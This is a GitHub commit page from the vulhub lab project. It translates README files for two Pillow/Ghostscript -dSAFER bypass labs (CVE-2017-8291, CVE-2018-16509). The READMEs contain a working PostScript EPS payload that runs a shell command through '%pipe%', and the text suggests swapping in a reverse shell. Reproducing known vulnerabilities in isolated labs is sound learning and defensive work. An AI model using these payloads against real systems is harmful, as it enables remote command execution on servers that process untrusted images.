Skip to content

Commit

Permalink
Merge pull request vulhub#600 from vulhub/python-translate
Browse files Browse the repository at this point in the history
[translate] Python related
  • Loading branch information
phith0n authored Mar 5, 2025
2 parents 8515745 + cf48ad3 commit b069acb
Show file tree
Hide file tree
Showing 8 changed files with 400 additions and 100 deletions.
36 changes: 35 additions & 1 deletion .cursor/rules/vulhub.mdc
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,41 @@ Vulhub项目的文件结构如下:

用户在阅读该文档后,就可以在自己的电脑上使用docker compose命令启动存在漏洞的环境,并参考README来复现该漏洞,学习漏洞的原理。

下面是一些Vulhub项目中写的比较优秀的文档,请你学习并参考:
一个文档的完整格式如下:

```markdown
# Title (CVE ID if exist)

Link to Chinese README

Example is a ...

description of the issue...

References:

- link1
- link2
- ...

## Environment Setup

Execute the following command to start a Example server v1.2.3:

```
docker compose up -d
```

After the server starts, ...

## Vulnerability Reproduction

...

(Describe the steps to reproduce the vulnerability using natural language, do not use list)
```

下面是一些Vulhub项目中写的比较优秀的案例,请你学习并参考:

- Struts2 S2-067 Upload Path Traversal (CVE-2024-53677) [README.md](mdc:struts2/s2-067/README.md)
- Kibana Local File Inclusion (CVE-2018-17246) [README.md](mdc:kibana/CVE-2018-17246/README.md)
Expand Down
6 changes: 3 additions & 3 deletions environments.toml
Original file line number Diff line number Diff line change
Expand Up @@ -1145,19 +1145,19 @@ app = "PostgreSQL"
path = "postgres/CVE-2019-9193"

[[environment]]
name = "Python PIL Remote Command Execution (GhostButt)"
name = "Python PIL/Pillow Remote Command Execution by GhostScript GhostButt"
cve = ["CVE-2017-8291"]
app = "Python"
path = "python/PIL-CVE-2017-8291"

[[environment]]
name = "Python PIL Remote Command Execution (via Ghostscript)"
name = "Python PIL/Pillow Remote Command Execution by GhostScript"
cve = ["CVE-2018-16509"]
app = "Python"
path = "python/PIL-CVE-2018-16509"

[[environment]]
name = "Python Unpickle Deserialization"
name = "Python Unpickle Deserialization Remote Code Execution"
cve = []
app = "Python"
path = "python/unpickle"
Expand Down
40 changes: 24 additions & 16 deletions python/PIL-CVE-2017-8291/README.md
Original file line number Diff line number Diff line change
@@ -1,16 +1,14 @@
# Python PIL 远程命令执行漏洞(GhostButt
# Python PIL/Pillow Remote Command Execution (GhostButt / CVE-2017-8291)

Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。
[中文版本(Chinese version)](README.zh-cn.md)

漏洞详情:
Python PIL (Pillow) is a popular image processing library for Python. It supports various image formats and provides powerful image manipulation capabilities.

- http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/
The Python image processing module PIL (Pillow) is affected by the GhostButt vulnerability (CVE-2017-8291) because it internally calls GhostScript to process EPS images. This vulnerability allows attackers to execute arbitrary commands on the target system.

## 漏洞简述
When PIL processes an image, it determines the image type based on the file header (Magic Bytes). If it identifies an EPS file (header starting with `%!PS`), it passes the file to `PIL/EpsImagePlugin.py` for processing.

PIL内部根据图片头(Magic Bytes)判断图片类型,如果发现是一个eps文件(头为`%!PS`),则分发给`PIL/EpsImagePlugin.py`处理。

在这个模块中,PIL调用了系统的gs命令,也就是GhostScript来处理图片文件:
In this module, PIL calls the system's GhostScript command (`gs`) to process the image file:

```python
command = ["gs",
Expand All @@ -27,27 +25,37 @@ command = ["gs",
"-f", infile, # input file
]

# 省略判断是GhostScript是否安装的代码
# Code to check if GhostScript is installed is omitted
try:
with open(os.devnull, 'w+b') as devnull:
subprocess.check_call(command, stdin=devnull, stdout=devnull)
im = Image.open(outfile)
```

虽然设置了`-dSAFER`,也就是安全模式,但因为GhostScript的一个沙盒绕过漏洞(GhostButt CVE-2017-8291),导致这个安全模式被绕过,可以执行任意命令。
Although the `-dSAFER` flag is set (safe mode), a sandbox bypass vulnerability in GhostScript (GhostButt CVE-2017-8291) allows this safety mechanism to be bypassed, enabling arbitrary command execution.

As of this writing, even the latest official GhostScript version 9.21 is still affected by this vulnerability. Therefore, as long as GhostScript is installed on the operating system, PIL is vulnerable to command execution.

References:

另外,截至目前,GhostScript官方最新版9.21仍然受到这个漏洞影响,所以可以说:只要操作系统上安装了GhostScript,我们的PIL就存在命令执行漏洞。
- [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/)
- [CVE-2017-8291 Details](https://nvd.nist.gov/vuln/detail/CVE-2017-8291)
- [GhostScript Security Advisory](https://www.ghostscript.com/security-advisories.html)

## 漏洞测试
## Environment Setup

运行环境:
Execute following command to start a web application that is vulnerable to the CVE-2017-8291 vulnerability:

```
docker compose up -d
```

运行后,访问`http://your-ip:8000/`即可看到一个上传页面。正常功能是我们上传一个PNG文件,后端调用PIL加载图片,输出长宽。但我们可以将可执行命令EPS文件后缀改成PNG进行上传,因为后端是根据文件头来判断图片类型,所以无视后缀检查。
After starting, visit `http://your-ip:8000/` to access the upload page.

## Vulnerability Exploitation

The normal functionality of this application allows users to upload a PNG file. The backend uses PIL to load the image and output its dimensions. However, we can exploit this by changing the extension of an executable EPS file to PNG and uploading it. Since the backend determines the image type based on the file header rather than the extension, the file extension check can be bypassed.

比如[poc.png](poc.png),我们上传之,即可执行`touch /tmp/aaaaa`。将POC中的命令改为反弹命令,即可获得shell:
For example, we can upload [poc.png](poc.png), which will execute the command `touch /tmp/aaaaa` on the server. By modifying the command in the POC to a reverse shell command, we can obtain shell access to the server:

![](01.png)
![Vulnerability Exploitation](01.png)
59 changes: 59 additions & 0 deletions python/PIL-CVE-2017-8291/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
# Python PIL 远程命令执行漏洞(GhostButt / CVE-2017-8291)

Python PIL(Pillow)是一个流行的 Python 图像处理库,支持多种图像格式并提供强大的图像处理功能。

Python 中处理图片的模块 PIL(Pillow),因为其内部调用了 GhostScript 而受到 GhostButt 漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。

PIL 内部根据图片头(Magic Bytes)判断图片类型,如果发现是一个 EPS 文件(头为 `%!PS`),则分发给 `PIL/EpsImagePlugin.py` 处理。

在这个模块中,PIL 调用了系统的 gs 命令,也就是 GhostScript 来处理图片文件:

```python
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages,
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
]

# 省略判断是否安装 GhostScript 的代码
try:
with open(os.devnull, 'w+b') as devnull:
subprocess.check_call(command, stdin=devnull, stdout=devnull)
im = Image.open(outfile)
```

虽然设置了 `-dSAFER`,也就是安全模式,但因为 GhostScript 的一个沙盒绕过漏洞(GhostButt CVE-2017-8291),导致这个安全模式被绕过,可以执行任意命令。

另外,截至目前,GhostScript 官方最新版 9.21 仍然受到这个漏洞影响,所以可以说:只要操作系统上安装了 GhostScript,PIL 就存在命令执行漏洞。

参考链接:

- [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/)
- [CVE-2017-8291 详情](https://nvd.nist.gov/vuln/detail/CVE-2017-8291)
- [GhostScript 安全公告](https://www.ghostscript.com/security-advisories.html)

## 环境搭建

执行如下命令启动一个存在漏洞的Web应用,其中使用了PIL处理用户上传的文件:

```
docker compose up -d
```

环境启动后,访问 `http://your-ip:8000/` 即可看到一个上传页面。

## 漏洞复现

该应用的正常功能是允许用户上传一个 PNG 文件,后端调用 PIL 加载图片,输出图片的长宽。但我们可以将可执行命令的 EPS 文件后缀改成 PNG 进行上传,因为后端是根据文件头来判断图片类型,所以能够绕过后缀检查。

例如,我们可以上传 [poc.png](poc.png),该文件会在服务器上执行 `touch /tmp/aaaaa` 命令。通过将 POC 中的命令修改为反弹 shell 命令,我们可以获得服务器的 shell 访问权限:

![漏洞利用演示](01.png)
136 changes: 66 additions & 70 deletions python/PIL-CVE-2018-16509/README.md
Original file line number Diff line number Diff line change
@@ -1,86 +1,32 @@
# Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509
# Python PIL/Pillow Remote Command Execution (CVE-2018-16509)

Ghostscript is a suite of software based on an interpreter for Adobe Systems PostScript and Portable Document Format (PDF) page description languages. Somehow, Ghostscript is exist in the production server (e.g. `/usr/local/bin/gs` or `/usr/bin/gs`) even when no application use it directly because Ghostscript is installed as dependency of another software (e.g. ImageMagick). Bunch of vulnerabilities were found in Ghostscript; one of them is CVE-2018-16509 (discovered by Tavis Ormandy from Google Project Zero), a vulnerability that allows exploitation of -dSAFER bypass in Ghostscript before v9.24 to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick or image library in the programming language with Ghotscript wrapper (PIL/Pillow in this example).
[中文文档](README.zh-cn.md)

## Exploit
PIL/Pillow is a widely used image processing library in Python.

You can upload [rce.jpg](rce.jpg) (a specially-crafted EPS image, not a real JPG) to execute `touch /tmp/got_rce` in the server. For proof, you can execute `docker exec [CONTAINER_ID] ls -alt /tmp`. To get `CONTAINER_ID`, you can check with `docker container ls`. To change the shell execution to other commands, you can change `touch /tmp/got_rce` directly in the `rce.jpg`.
In Ghostscript versions prior to 9.24, there exists a -dSAFER sandbox bypass vulnerability (CVE-2018-16509). Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.

## Analysis
This vulnerability affects various applications that use Ghostscript for image processing, including Python's PIL/Pillow library. When an application uses PIL/Pillow to process user-uploaded images and the environment has a vulnerable version of Ghostscript installed, it may lead to remote command execution.

You can refer to the explanation of vulnerability by Tavis Ormandy in [oss-security](https://seclists.org/oss-sec/2018/q3/142).
References:

You can check the source code Ghostscript wrapper of PIL/Pillow in [EPSImagePlugin.py](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py).
- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
- [Ghostscript Sandbox Bypass Analysis](https://paper.seebug.org/1159/)

This is the vulnerable code of `app.py`:
## Environment Setup

```python
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)

if not file:
flash('No image found')
return redirect(request.url)

filename = file.filename
ext = path.splitext(filename)[1]

if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
Execute the following command to start a vulnerable Flask application (using Ghostscript 9.23):

tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)

file.save(img_path)

img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)

resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
```

Content of uploaded file will be loaded by `img = Image.open(img_path)`. PIL will automatically detect if the image is an EPS image (example: add `%!PS-Adobe-3.0 EPSF-3.0` at the beginning of file) and will call _open() in `EpsImageFile` class in `EPSImagePlugin.py`. To avoid `raise IOError("cannot determine EPS bounding box")`, a bounding box need to be added in the file (example: `%%BoundingBox: -0 -0 100 100`).

The body of EPS image will be processed by Ghostscript binary with `subprocess` as we can see in `EPSImagePlugin.py` in `Ghostscript` function.

```python
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]


....

try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
docker compose up -d
```

The code above is called when `load` is called in [Image.py](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/Image.py) so only open the image will not trigger the vulnerability. Function like `resize`, `crop`, `rotate`, and `save` will call `load` and trigger the vulnerability.
After the environment is started, visit `http://your-ip:8000` to see a simple image upload page.

## Vulnerability Reproduction

Combined with POC from Tavis Ormandy, we can craft `rce.jpg` for remote shell command execution.
Prepare a malicious EPS file (provided as `rce.jpg` in this environment) with the following content:

```
%!PS-Adobe-3.0 EPSF-3.0
Expand All @@ -94,3 +40,53 @@ legal
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
```

Visit `http://your-ip:8000` and upload this file.

After uploading, the server will process this image using PIL/Pillow, and when the `resize` function is called, it will trigger the vulnerability and execute the `touch /tmp/got_rce` command.

Execute the following command to verify if the vulnerability has been successfully exploited:

```
docker compose exec web ls -la /tmp/
```

If you see the `/tmp/got_rce` file, it means the command execution was successful.

## Vulnerability Analysis

The core of the vulnerability lies in PIL/Pillow calling the system's Ghostscript program when processing EPS images. In `EPSImagePlugin.py`, PIL uses `subprocess` to call Ghostscript:

```python
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage
]
```

Although the `-dSAFER` parameter is used, Ghostscript versions prior to 9.24 have a sandbox bypass vulnerability that allows attackers to execute arbitrary commands through specially crafted PostScript code.

In the sample application, when an image is uploaded, it is processed as follows:

```python
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)

resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
```

Simply calling `Image.open()` will not trigger the vulnerability, but when methods that actually need to load image data, such as `resize()` or `save()`, are called, they will trigger the Ghostscript call and execute malicious commands.

To fix this vulnerability, you need to update Ghostscript to version 9.24 or higher, or disable EPS image processing functionality when using PIL/Pillow to process user-uploaded images.
Loading

0 comments on commit b069acb

Please sign in to comment.